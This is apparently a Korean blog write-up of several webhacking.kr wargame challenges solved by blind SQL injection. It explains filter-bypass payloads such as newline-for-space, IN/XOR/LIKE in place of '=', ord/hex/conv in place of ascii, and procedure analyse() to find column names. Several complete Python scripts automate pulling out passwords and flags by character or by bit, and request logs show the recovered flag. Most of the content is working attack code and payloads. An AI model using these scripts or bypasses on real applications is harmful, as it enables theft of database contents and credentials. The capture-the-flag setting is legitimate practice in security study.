위와 같이 1,2,3 번을 누른 화면이다. 파라미터로 no를 전달하며 no=3 일 때 힌트 페이지를 제공해준다.

데이터베이스 안에 칼럼은 id, no로 구성돼있고 11자리인 칼럼이 답인 것 같다.

URL에 no 칼럼이 보이니까 id 칼럼이 문제의 답이다. 


no 파라미터에 1,2,3 이외 숫자를 입력하면 Password 입력폼만 출력된다.

이것을 통해 참/거짓을 구분할 수 있고 Blind SQL 인젝션 공격을 할 수 있다.

2018/09/07 - [WEB Hacking/정리] - [MySQL] Blind SQL 인젝션 :: IF문



이전에도 이러한 비슷한 문제를 풀어서 no=IF(조건, 1,100)와 같이 참이면 no=1, 거짓이면 no=1000으로

쿼리문을 만들어 id 값의 정보를 얻을 수 있다.

2018/09/06 - [WEB Hacking/webhacking.kr] - [webhacking.kr] 13번 Blind SQL 인젝션 equal bypass



no=IF( (length(id))IN(1),1,1000)

no=IF( (length(id))IN(2),1,1000)

no=IF( (length(id))IN(3),1,1000)

...

no=IF( (length(id))IN(5),1,1000)

no=1일 때 id 길이는 5이다.


no=IF((substr(id,1,1))IN(0x61),1,1000)

no=IF((substr(id,1,1))IN(0x62),1,1000)

...


no=1일 때 id 는 Apple이라는 것을 얻었다.

그럼 분명 no=2일 때 id는 Banana일 것이고 no=3일 때 id가 이 문제의 답이라는 것을 추측할 수 있다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import urllib2
import urllib
import re
 
TrueKeyword = "<b>Secret</b>"
headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'}
 
params = {'id' : 'rap1er''pw' : 'PASSSWORD'}
id_pw = urllib.urlencode(params)
url = "http://webhacking.kr"
 
req = urllib2.Request(url, id_pw, headers=headers) # POST Data should be Bytes.
res = urllib2.urlopen(req)
session_id = res.headers.get("Set-Cookie")
print "GET SESSION-ID : "+session_id
 
 
##################################################################
#   password length   
#    ex) no=IF((length(id))IN({}),3,1000)
#        
##################################################################
blind_target_url = "http://webhacking.kr/challenge/web/web-09/index.php?"
 
for i in xrange(1,50):
    injectParams = "no=IF((length(id))IN({}),3,1000)".format(str(i))
    print injectParams
    req = urllib2.Request(blind_target_url+injectParams, headers=headers)
    req.add_header("cookie", session_id)
    res = urllib2.urlopen(req)
    data = res.read()
    find = re.findall(TrueKeyword, data)
    if find:
        break
pw_len = i
print "password length :" + str(pw_len)
 
 
##################################################################
#    password string 
#    no=IF((substr(id,{},1))IN({}),3,1000)
##################################################################
count=1
password = ""
for i in xrange(1, pw_len+1):
    for j in xrange(65127):
        # injectParams = "no=IF((substr(id,{},1))IN({}),3,1000)".format(str(i), hex(j))
        injectParams = "no=IF((substr(id,"+str(i)+",1))IN("+hex(j)+"),3,1000)"
        req = urllib2.Request(blind_target_url+injectParams, headers=headers)
        req.add_header("cookie", session_id)
        res = urllib2.urlopen(req)
        data = res.read()
        find = re.findall(TrueKeyword, data)
        count+=1
        if find:
            print "[+] Request : " + injectParams + " --> {}'s injection ={}".format(count, chr(j))
            break
        else:
            print "[+] Request : " + injectParams + " --> {}'s injection ={}".format(count, chr(j))
 
    password += chr(j)
 
 
    print "{}'s password : ".format(i)+ password
 
print "PASSWORDDDDDDDD is :" + password
 
 
 
 
cs




첫번째 텍스트 입력폼에 값을 입력하면 no 라는 파라미터로 서버에 전달된다.

1을 입력하면 화면에 1이 출력되고 그 이외 값은 전부 0이 출력된다. (0을 입력할 경우 재입력하는 것 같음)

no=100 or 1=1# 을 입력해 항상 참이되는 결과를 출력하려 했지만 필터처리된다.



// 필터 문자

#

--

/**/

=

<, >

like

ascii

hex

char

mid

and

||   or는 필터처리안하면서?..

&&

left

right

limit


...



// 사용가능한 문자

or

substr

bin

lpad

(, )

IN


필터 우회(equal 우회)

// no = 100 or 1 IN (1)

no=100%0aor%0a1%0aIN%281%29 를 URL에 입력하니 참 페이지가 출력됐다.

이번 문제도 블라인드 SQL 인젝션을 통해 힌트에 나온 flag 값을 추출해보자.


우선 flag의 길이를 확인할 것이다.

no=100 or length(flag) IN(flag 길이) 와 같이 참이 되도록 하나하나 입력해보다 안나와서 뭐지 싶었다.

no=1 or length(flag) IN(flag 길이)로 바꿔서 항상 참이 되도록 한 다음 서버로 보내도 Result 0이 출력되었다.

순간 뭐지? 하다가 추측한 결과 flag는 다른 테이블에 있는 필드라는 것이다. 


결과화면을 보았을 때 쿼리문을 추측하면 다음과 같다.

<?

...


if($_GET['idx'] < 0){ echo "no hack!"; exit; } if(!empty($_GET['idx'])){ $qry = "SELECT * FROM test WHERE idx=".$_GET['idx']; $result = mysql_query($qry,$connect); $num_rows = @mysql_num_rows($result); if($num_rows){ echo "<table border=1 cellpadding=10 width=200><tr><td>result</td></tr><tr><td>".$num_rows."</td></tr></table>"; }else{ echo "<table border=1 cellpadding=10 width=200><tr><td>result</td></tr><tr><td>".'0'."</td></tr></table>"; } }


...

?>


힌트에서도 나왔듯 flag 필드는 prob13password라는 테이블에 존재한다.

no=IF((SELECT length(flag) from prob13password) IN(flag 길이) , 1,2) 와 같이 prob13password에서 flag 길이가 맞으면 1, 틀리면 2를 no 파라미터에

전달한다. no 파라미터가 1이면 result는 1로 출력되고 그 이외 값은 0을 출력하는 특성을 이용한 것이다.


하지만 현재 prob13password 테이블에는 레코드가 1개 이상 존재하여 아래와 같은 오류메시지를 출력한다. (로컬에서 테스트해본 결과)

ERROR 1242 (21000): Subquery returns more than 1 row

따라서 limit 등과 같이 특정 레코드만 추출할 수 있어야 하는데 필터돼있다.

우선 레코드가 몇개 존재하는지 count() 집계 함수를 사용해 알아낸다. (집계함수는 SELECT 또는 HAVING 절에 위치함. 다른곳은 못씀.)

no=IF((SELECT count(flag) FROM prob13password)IN(2),1,100) 에서 참이 출력됐다. prob13password 테이블에 레코드는 2개존재하며 

특정 레코드를 추출하기 위해 min, max() 함수를 사용한다.

no=IF((SELECT length(min(flag)) from prob13password) IN(flag 길이) , 1,2) 




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import urllib2
import urllib
import re
 
TrueKeyword = "<td>result</td></tr><tr><td>1</td>"
headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'}
 
params = {'id' : 'rap1er''pw' : 'PASSWORD'}
id_pw = urllib.urlencode(params)
url = "http://webhacking.kr"
 
req = urllib2.Request(url, id_pw, headers=headers) # POST Data should be Bytes.
res = urllib2.urlopen(req)
session_id = res.headers.get("Set-Cookie")
print "GET SESSION-ID : "+session_id
 
 
##################################################################
#     password length   
#    ex) no=IF((SELECT substr(lpad(bin(length(min(flag))),7,0),{},1) from prob13password) IN(0),1,2)
#        
##################################################################
blind_target_url = "http://webhacking.kr/challenge/web/web-10/index.php?"
bin_pw =""
for i in xrange(1,8):
    injectParams = "no=IF((SELECT substr(lpad(bin(length(min(flag))),7,0),{},1) from prob13password) IN(0),1,2)".format(i).replace(" ","%0a")
    print injectParams
    req = urllib2.Request(blind_target_url+injectParams, headers=headers)
    req.add_header("cookie", session_id)
    res = urllib2.urlopen(req)
    data = res.read()
    find = re.findall(TrueKeyword, data)
    if find:
        bin_pw+='0'
    else:
        bin_pw+='1'
 
print "password length :" + str(int(bin_pw,2))
 
 
##################################################################
#     password string 
#    select substr(lpad(bin(hex(substr(pw,{},1))),7,0),{},1);
#    no=IF((SELECT substr(min(flag),{},1) from prob13password) IN({}),1,2)
##################################################################
count=1
password = ""
for i in xrange(1int(bin_pw,2)+1):
    bin_tmp = ""
    for j in xrange(0x210x7F):
        injectParams = "no=IF((SELECT substr(min(flag),"+str(i)+",1) from prob13password) IN("+hex(j)+"),1,2)"
        injectParams = injectParams.replace(" ","%0a")
 
        req = urllib2.Request(blind_target_url+injectParams, headers=headers)
        req.add_header("cookie", session_id)
        res = urllib2.urlopen(req)
        data = res.read()
        find = re.findall(TrueKeyword, data)
        print "[+] Request : " + injectParams + " --> {}'s injection ={}".format(count, chr(j))
        count+=1
 
        if find:
            password+=chr(j);
            break
 
 
    print "{}'s password : ".format(i)+ password
 
print "PASSWORDDDDDDDD is :" + password
 
cs



XOR 연산자를 통해 = 필터를 우회할 수 있다.

[참고]

2018/09/06 - [WEB Hacking/MySQL] - [MySQL] equal(=) 우회 (IN, regexp, like, XOR)



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import urllib2
import urllib
import re
 
TrueKeyword = "<td>result</td></tr><tr><td>1</td>"
headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'}
 
params = {'id' : 'rap1er''pw' : 'passsssword'}
id_pw = urllib.urlencode(params)
url = "http://webhacking.kr"
 
req = urllib2.Request(url, id_pw, headers=headers) # POST Data should be Bytes.
res = urllib2.urlopen(req)
session_id = res.headers.get("Set-Cookie")
print "GET SESSION-ID : "+session_id
 
 
##################################################################
#     password length   
#    ex) no=(SELECT length(min(flag)) from prob13password)^{}^1
#        
##################################################################
blind_target_url = "http://webhacking.kr/challenge/web/web-10/index.php?"
bin_pw =""
for i in xrange(1,51):
    injectParams = "no=(SELECT length(min(flag)) from prob13password)%5E"+str(i)+"%5E1"
    injectParams = injectParams.replace(" ","%0a")
    print injectParams
    req = urllib2.Request(blind_target_url+injectParams, headers=headers)
    req.add_header("cookie", session_id)
    res = urllib2.urlopen(req)
    data = res.read()
    find = re.findall(TrueKeyword, data)
    if find:
        break
 
print "password length :" + str(i)
 
cs




// Efficient Blind SQL 인젝션 

ascii 함수가 필터돼서 위 스크립트 방법으로 했는데 ascii 함수와 동일한 기능을 하는 함수를 알게됨

ord() 함수로 ascii 함수가 필터처리 된 것을 우회할 수 있음.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import urllib2
import urllib
import re
 
TrueKeyword = "<td>result</td></tr><tr><td>1</td>"
headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'}
 
params = {'id' : 'rap1er''pw' : 'passssword'}
id_pw = urllib.urlencode(params)
url = "http://webhacking.kr"
 
req = urllib2.Request(url, id_pw, headers=headers) # POST Data should be Bytes.
res = urllib2.urlopen(req)
session_id = res.headers.get("Set-Cookie")
print "GET SESSION-ID : "+session_id
 
 
##################################################################
#     password length   
#    ex) no=IF((SELECT substr(lpad(bin(length(min(flag))),7,0),{},1) from prob13password) IN(0),1,2)
#        
##################################################################
blind_target_url = "http://webhacking.kr/challenge/web/web-10/index.php?"
bin_pw =""
for i in xrange(1,8):
    injectParams = "no=IF((SELECT substr(lpad(bin(length(min(flag))),7,0),{},1) from prob13password) IN(0),1,2)".format(i).replace(" ","%0a")
    print injectParams
    req = urllib2.Request(blind_target_url+injectParams, headers=headers)
    req.add_header("cookie", session_id)
    res = urllib2.urlopen(req)
    data = res.read()
    find = re.findall(TrueKeyword, data)
    if find:
        bin_pw+='0'
    else:
        bin_pw+='1'
 
print "password length :" + str(int(bin_pw,2))
 
 
##################################################################
#     password string 
#     no=IF((SELECT substr(lpad(bin(ord(substr(min(flag),{},1))),7,0),{},1) from prob13password) IN(0),1,2)
##################################################################
count=1
password = ""
for i in xrange(1int(bin_pw,2)+1):
    bin_tmp = ""
    for j in xrange(18):
        injectParams = "no=IF((SELECT substr(lpad(bin(ord(substr(min(flag),{},1))),7,0),{},1) from prob13password) IN(0),1,2)".format(i,j).replace(" ","%0a")
 
        req = urllib2.Request(blind_target_url+injectParams, headers=headers)
        req.add_header("cookie", session_id)
        res = urllib2.urlopen(req)
        data = res.read()
        find = re.findall(TrueKeyword, data)
        count+=1
        if find:
            bin_tmp += '0'
            print "[+] Request : " + injectParams + " --> {}'s injection ={}".format(count, 0)
        else:
            bin_tmp += '1'
    print "[+] Request : " + injectParams + " --> {}'s injection ={}".format(count, 1)
 
    password += chr(int(bin_tmp,2))
 
 
    print "{}'s password : ".format(i)+ password
 
print "PASSWORDDDDDDDD is :" + password
 
 
 
 
cs






18's password : challenge13luckcle

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),1,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 128's injection =1

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),2,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 129's injection =1

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),3,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 130's injection =0

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),3,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 130's injection =1

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),4,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 131's injection =0

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),4,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 131's injection =1

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),5,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 132's injection =0

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),5,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 132's injection =1

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),6,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 133's injection =0

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),6,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 133's injection =1

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),7,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 134's injection =1

19's password : challenge13luckclea

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),20,1))),7,0),1,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 135's injection =1

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),20,1))),7,0),2,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 136's injection =1

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),20,1))),7,0),3,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 137's injection =1

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),20,1))),7,0),4,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 138's injection =0

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),20,1))),7,0),4,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 138's injection =1

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),20,1))),7,0),5,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 139's injection =0

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),20,1))),7,0),5,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 139's injection =1

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),20,1))),7,0),6,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 140's injection =1

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),20,1))),7,0),7,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 141's injection =0

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),20,1))),7,0),7,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 141's injection =1

20's password : challenge13luckclear

PASSWORDDDDDDDD is :challenge13luckclear




로그인을 누르면 guest 계정으로 로그인된다.

우선 어떤 것들이 필터되었는지 확인하자.


// 필터문자


%20

union

/

*

or

limit

order

ascii


// 사용 가능 문자


select

(

)

0x

like

<, >

length

substr

mid

lpad

conv

hex


관리자 계정으로 들어가기 위해 no=-1||no=2%23 을 url에 직접 입력하였더니 관리자 비밀번호 재인증 페이지로 이동되었다.

이 문제는 아래와 같이 기존에 Blind SQL 인젝션 스크립트를 사용해도 된다. 하지만 너무느려서 검색을 하다 효율적인 Blind SQL 인젝션 알게됐다.

https://blog.silnex.kr/efficient-blind-sql-injection/



// 기존 Blind SQL 인젝션 스크립트


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import urllib2
import urllib
import re
 
TrueKeyword = "admin"
headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'}
 
params = {'id' : 'rap1er''pw' : 'passwd'}
id_pw = urllib.urlencode(params)
url = "http://webhacking.kr"
 
req = urllib2.Request(url, id_pw, headers=headers) # POST Data should be Bytes.
res = urllib2.urlopen(req)
session_id = res.headers.get("Set-Cookie")
print "GET SESSION-ID : "+session_id
 
 
##################################################################
#     password length 
##################################################################
blind_target_url = "http://webhacking.kr/challenge/web/web-29/index.php?id=guest&pw=guest&"
for i in xrange(1,100):
    injectParams = "no=-1 %7C%7C id=0x61646d696e %26%26 length(pw)<{} -- ".format(i).replace(" ","%0a")
    print injectParams
    req = urllib2.Request(blind_target_url+injectParams, headers=headers)
    req.add_header("cookie", session_id)
    res = urllib2.urlopen(req)
    data = res.read()
    find = re.findall("admin", data)
    if find:
        pwLen = i-1
        break
 
print "password length :" + str(pwLen)
 
 
##################################################################
#     password string 
##################################################################
 
password =""
 
for i in xrange(1,pwLen+1):
    for j in xrange(33128):
        # LIKE statement use '%', '_'
        # if chr(j) == '%' or chr(j) == '_':
        #     continue
 
        injectParams = "no=-1 %7C%7C id=0x61646d696e %26%26 substr(pw,{},1)={} -- ".format(str(i), str(hex(j)))
        injectParams = injectParams.replace(" ""%0a")
        req = urllib2.Request(blind_target_url+injectParams, headers=headers)
        req.add_header("cookie", session_id)
        res = urllib2.urlopen(req)
        data = res.read()
        find = re.findall("admin", data)
        print "[+] Request : " + injectParams + "->"+ "(" + chr(j) +")"
 
        if find: # Bytes is required, not str.
            password = password + chr(j)
            print "#### %d's password#### : "%(i)+password
            break
 
print password
cs





앞서 링크한 블로그에 너무 잘 설명되어있어 간략하게 기술하자면

기존 Blind SQL 인젝션과 같은 경우는 한글자를 알아내기 위해 아스키코드33 ~ 126까지 하나하나 대입해야하므로 굉장히 느리다.


하지만 Efficient Blind SQL 인젝션 스크립트를 이용하면 굉장히 빠르다.

예를 들어, 패스워드 길이를 구하려한다면 lpad(bin(length(pw)),7,0)으로 2진수 7자리로 변환해준다.

패스워드 길이가 10이면 0001010이 되고 substr() 함수로 각 자리를 1번씩만 비교하여 총 7번의 비교로 패스워드 길이를 구할 수 있다.

(아래 스크립트 22~37 라인에 해당함)


앞서 링크를 보면 패스워드를 구하기 위해 substr(lpad(bin(ascii(substr(pw,1,1))),7,0),1,1) 를 사용했는데

이 문제는 ascii 함수를 필터처리 했다. 따라서 substr(lpad(conv(hex(substr(pw,1,1)),16,2),7,0),1,1) 와 같이

hex로 우회한 뒤 conv 함수로 16진수를 2진수로 변환 후 7자리가 되도록 0으로 패딩하고 substr 함수로 

한자리씩 비교하였다.


+추가  ascii 함수가 필터돼서 hex함수로 우회하고 2진수로 변환했는데 ord() 함수도 ascii() 함수와 동일한 기능을 한다.


혹시 나중에 까먹었을 때 금방 눈에 들어오게 substr(lpad(conv(hex(substr(pw,1,1)),16,2),7,0),1,1) 를 풀어 설명하자면

pw = "abcd" 일 때


1. substr(pw,1,1) -> 'a'

2. hex('a') -> 61

3. conv(61, 16, 2) ->1100001  // conv 함수는 진법 변환 함수로 16진수 ->2진수로 변환했다

4. lpad('1100001',7,0) -> 1100001 // lpad 함수는 왼쪽에 0으로 패딩값을 채우는 것이다.(7자리)



// efficient Blind SQL 인젝션


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import urllib2
import urllib
import re
 
TrueKeyword = "admin"
headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'}
 
params = {'id' : 'rap1er''pw' : 'YourPassword'}
id_pw = urllib.urlencode(params)
url = "http://webhacking.kr"
 
req = urllib2.Request(url, id_pw, headers=headers) # POST Data should be Bytes.
res = urllib2.urlopen(req)
session_id = res.headers.get("Set-Cookie")
print "GET SESSION-ID : "+session_id
 
 
##################################################################
#     password length   
#    ex) select substr(lpad(bin(length(pw)),7,0),{},1);
##################################################################
blind_target_url = "http://webhacking.kr/challenge/web/web-29/index.php?id=guest&pw=guest&"
bin_pw =""
for i in xrange(1,8):
    injectParams = "no=-1 %7C%7C id=0x61646d696e %26%26 substr(lpad(bin(length(pw)),7,0),{},1)=0 -- ".format(i).replace(" ","%0a")
    print injectParams
    req = urllib2.Request(blind_target_url+injectParams, headers=headers)
    req.add_header("cookie", session_id)
    res = urllib2.urlopen(req)
    data = res.read()
    find = re.findall("admin", data)
    if find:
        bin_pw+='0'
    else:
        bin_pw+='1'
 
print "password length :" + str(int(bin_pw,2))
 
 
##################################################################
#     password string 
#    select substr(lpad(conv((hex(substr(pw,{},1))),16,2),7,0),{},1);
##################################################################
count=1
password = ""
for i in xrange(1int(bin_pw,2)+1):
    bin_tmp = ""
    for j in xrange(18):
        injectParams = "no=-1 %7C%7C id=0x61646d696e %26%26 substr(lpad(conv((hex(substr(pw,{},1))),16,2),7,0),{},1)=0 -- ".format(i,j).replace(" ""%0a")
        req = urllib2.Request(blind_target_url+injectParams, headers=headers)
        req.add_header("cookie", session_id)
        res = urllib2.urlopen(req)
        data = res.read()
        find = re.findall("admin", data)
        print "[+] Request : " + injectParams + " --> {}'s injection".format(count)
        count+=1
 
        if find:
            bin_tmp += "0"
        else:
            bin_tmp += "1"
 
 
    password += chr(int(bin_tmp,2))
    print "{}'s password : ".format(i)+ password
 
print "PASSWORDDDDDDDD is :" + password
 
cs



// 실행 결과 화면



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import urllib
import urllib2
import time
 
url = "http://webhacking.kr"
id_pw = {'id' : 'rap1er''pw' : 'password'}
user_agent = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'}
session_id = 'PHPSESSID=3da1bb25110cf6a6985794933b3bf4e8'
print session_id
 
#target_url = url + '/index.php'
 
while True:
    req = urllib2.Request(url, urllib.urlencode(id_pw), headers=user_agent)
    req.add_header('cookie', session_id)
    res = urllib2.urlopen(req)
    print res.read()
 
    time.sleep(180)    
cs


문제 풀라고 고민하다가 자꾸 세션이 만료돼서 로그인을 다시해주는게 귀찮아서 만듬


<!--


hint


rank table

====================

ip ( = id )

score

**password** --> small letter

====================


-->



http://webhacking.kr/challenge/web/web-31/rank.php?score=-1%20or%201=1# 을 입력할 때 나오는 화면이다. 

즉, 참일 때 localhost 라는 텍스트가 출력되고 거짓일 땐 없다.

힌트에서 rank 테이블은 ip, score, password 3개 필드로 구성되었다고 주어졌다. 또한, 패스워드는 소문자?


score 파라미터 값에 따라 화면에 출력되는 id : // 값이 바뀌는 것을 보면 score를 이용하는 것이 분명하다.

추측하면 다음과 같다.


SELECT * FROM tb WHERE score=$_GET['score'] 


싱글쿼터를 삽입해도 에러가 발생하지 않는 것으로 보아 score는 싱글쿼터가 없는 숫자 값이다.


-1 or 1=1#

-1 or 1=2#


참/거짓 페이지를 이용한 블라인드 SQL 인젝션 공격으로 이번 문제를 풀어보자.

목록으로 랭커들을 출력하기 때문에 UNION SELECT 공격으로 시도했지만 UNION SELECT 모두 필터처리됨.


또한, 필터 함수를 확인해봤는데 블라인드 SQL 인젝션에 사용하는 내장함수를 대부분 필터했다.

대표적으로 substr, substring, mid, ascii, char... 다행히 length 함수는 필터안되어있다.


이 문제를 통해 substr이 필터되었을 때 left, right 함수를 사용해 우회가 가능하다는 것을 알게되었다.

ex) substr("abc",2,1); -> 'b' //  right(left("abc",2),1) 두 함수 결과는 같다.



문제 의도가 패스워드를 알아내는 것 같은데 칼럼을 알아야 인젝션을 시도할 수 있다.

어떻게 풀지 몰라서 검색한 결과 procedure analyse() 함수라는 것을 알게되었다.

본 함수는 테이블 각 칼럼에 대한 최적의 데이터 형식을 제공하거나 칼럼 정보를 출력하는 함수이다.




자세한 내용은 이전 게시물을 참조하면 됨.

2018/09/03 - [WEB Hacking/흔적] - [MySQL]SQL 인젝션 :: procedure analyse()

procedure analyse() 함수는 LIMIT 절에도 사용할 수 있으며 앞서 추측했던 SELECT 쿼리에도 적용가능하다.



SELECT id, score, password FROM tb WHERE score=-1 procedure analyse() 를 입력하면

id : webhacking.challenge55_game.ip 가 화면에 출력된다.



다른 필드 값을 구하기 위해 LIMIT 구를 사용한다.


score=-1%20limit%200,1%20procedure%20analyse()%20--%20  // webhacking.challenge55_game.ip

score=-1%20limit%201,1%20procedure%20analyse()%20--%20  // webhacking.challenge55_game.score

score=-1%20limit%202,1%20procedure%20analyse()%20--%20  // webhacking.challenge55_game.pAsSw0RdzzzZ


왜 score 가 음수일 때만 필드 값이 나오는지 모르겠음 ㅡㅡ
아는분 있으면 댓글로 알려주세요..



rank 테이블은 ip, score, pAsSw0RdzzzZ 3개의 필드가 존재한다.

따라서 비밀번호를 블라인드 SQL 인젝션을 통해 구하면 된다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import urllib2
import urllib
import re
 
TrueKeyword = "localhost"
headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'}
 
params = {'id' : 'rap1er''pw' : 'password'}
id_pw = urllib.urlencode(params)
url = "http://webhacking.kr"
 
req = urllib2.Request(url, id_pw, headers=headers) # POST Data should be Bytes.
res = urllib2.urlopen(req)
session_id = res.headers.get("Set-Cookie")
print "GET SESSION-ID : "+session_id
 
 
##################################################################
#     password length 
##################################################################
 
blind_target_url = "http://webhacking.kr/challenge/web/web-31/rank.php?"
for i in xrange(1,100):
    injectParams = "score=-1 or length(pAsSw0RdzzzZ) like {} --".format(str(i)).replace(" ","%20")
    req = urllib2.Request(blind_target_url+injectParams, headers=headers)
    req.add_header("cookie", session_id)
    res = urllib2.urlopen(req)
    data = res.read()
    find = re.findall("localhost", data)
    if find:
        pwLen = i
        break
 
print "password length :" + str(pwLen)
 
 
##################################################################
#     password string 
##################################################################
 
password =""
blind_target_url = "http://webhacking.kr/challenge/web/web-31/rank.php?"
 
for i in xrange(1,pwLen+1):
    for j in xrange(33128):
        # LIKE statement use '%', '_'
        if chr(j) == '%' or chr(j) == '_':
            continue
 
        injectParams = "score=-1 or right(left(pAsSw0RdzzzZ,"+str(i)+"),1) like "+str(hex(j))+" -- "
        injectParams = injectParams.replace(" ""%20")
        req = urllib2.Request(blind_target_url+injectParams, headers=headers)
        req.add_header("cookie", session_id)
        res = urllib2.urlopen(req)
        data = res.read()
        find = re.findall("localhost", data)
        print "[+] Request : " + injectParams + "->"+ "(" + chr(j) +")"
 
        if find: # Bytes is required, not str.
            password = password + chr(j)
            print "#### %d's password#### : "%(i)+password
            break
 
print password
cs



원래 '='를 필터 하는 문제가 많아서 like로 아무 생각없이 코딩했다가 자꾸 %에서 참이 나오는 바람에 엄청 시간을 많이 소비했다.

LIKE는 % 또는 _ 를 문법으로 사용하기 때문에 LIKE로 블라인드 SQL 인젝션 스크립트 만들 때 주의해야함.


[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x3e%20--%20->(>)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x3f%20--%20->(?)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x40%20--%20->(@)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x41%20--%20->(A)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x42%20--%20->(B)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x43%20--%20->(C)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x44%20--%20->(D)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x45%20--%20->(E)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x46%20--%20->(F)              

